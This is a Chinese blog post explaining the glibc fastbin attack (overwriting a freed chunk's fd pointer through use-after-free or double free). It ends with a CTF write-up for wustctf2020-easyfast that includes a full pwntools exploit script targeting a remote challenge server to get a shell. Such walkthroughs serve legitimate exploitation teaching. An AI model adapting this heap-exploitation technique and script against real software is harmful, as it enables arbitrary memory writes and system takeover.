A2ur2的梦想小屋

我许下的愿望该向谁去说明

0%

fastbin attacked

fastbin attacked

一、什么是fastbin

在glibc的堆块管理中,为了加快堆块分配的效率,会使用bins来管理分配了之后又释放的空闲堆块,当用户分配内存时,系统会先从bins里面寻找是否有合适大小的堆块,如果没有再考虑另外的分配方式(如top chunk切割等)。fastbin就是这样的一个bins,当大小在0x20~0x80的堆块被释放后就会进入fastbin。fastbin使用的是单链表链接的方式保存堆块,而且单条链表中的chunk大小是一致的。

在主线程中会存在一个名为fastbinY的全局变量数组,大小为7,用于存放fastbin单个链表的头指针。 fastbin采用的是先进后出的方式,至此我们对fastbin有了一个大体的认识
,如图:

二、fastbin attacked的原理

1.漏洞产生的原因

由于fastbin在分配堆块时并不会检测这个堆块的来源,意思是即便它不是系统正确分配的空间,只要它在fastbin这条链表里面,并且刚好满足用户的申请空间需求,这个chunk就会被取出提供给用户。由此我们不难想到,如果我们在fastbin的链表里面修改单链表尾元素chunk的fd指针,使其指向某个区域,然后再申请回来,就可以做到再任意空间上申请堆块,从而做到任意内存的读写。

2.利用的方式

在具体利用的过程中,我们可以通过double free或者uaf等可以控制空闲堆块data区域的漏洞去修改fd指针,指向我们想要控制内容堆块地址-0x10的地方,至于为什么要-0x10,是chunk分配时会有0x10大小的区域去存储size和pre_size,剩下的才是用户的data区。这点在之前chunk的基本结构中就有。此外,虽然fastbin不会检测这个chunk来源的合法性,但是它会检测chunk的size是否与该链表的其他堆块的size相同,由此可得fastbin attacked需要在我们伪造堆块的上方有一个合适的size值

三、例题 wustctf2020-easyfast

1.程序分析

首先ida打开发现是经典菜单题

程序里有一个backdoor函数

于此同时在delete的函数中存在着UAF漏洞,可以控制空闲堆块的data区。

此时我们gdb连上去查看这个0x602090是个什么情况

可以看到在这个地址里存放的是1,所以只需要0x602090地址的判断为0,就可以get shell。在这个区域-0x10的位置有一个50,刚好可以作为fake fastchunk的size值,因此这里我们采用UAF+fastbin attacked,将一个堆块申请到0x602090的位置。

2.exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*
#p=process('./fast')
p=remote("node4.buuoj.cn",28956)
def add(size):
p.sendlineafter('choice>','1')
p.sendlineafter('size>',str(size))
def free(index):
p.sendlineafter('choice>','2')
p.sendlineafter('index>',str(index))

def gai(index,content):
p.sendlineafter('choice>','3')
p.sendlineafter('index>',str(index))
sleep(0.1)
p.send(content)
def shell():
p.sendlineafter('choice>','4')
#gdb.attach(p)
add(0x40)#0
free(0)
payload=0x602080
gai(0,p64(payload))
add(0x40)#free 0
add(0x40)
gai(2,p64(0))
shell()
p.interactive()

3.另一种方法

在这里,我们同样可以使用double free去进行get shell,但题目已经有UAF,就没有必要去构造double free去控制空闲堆块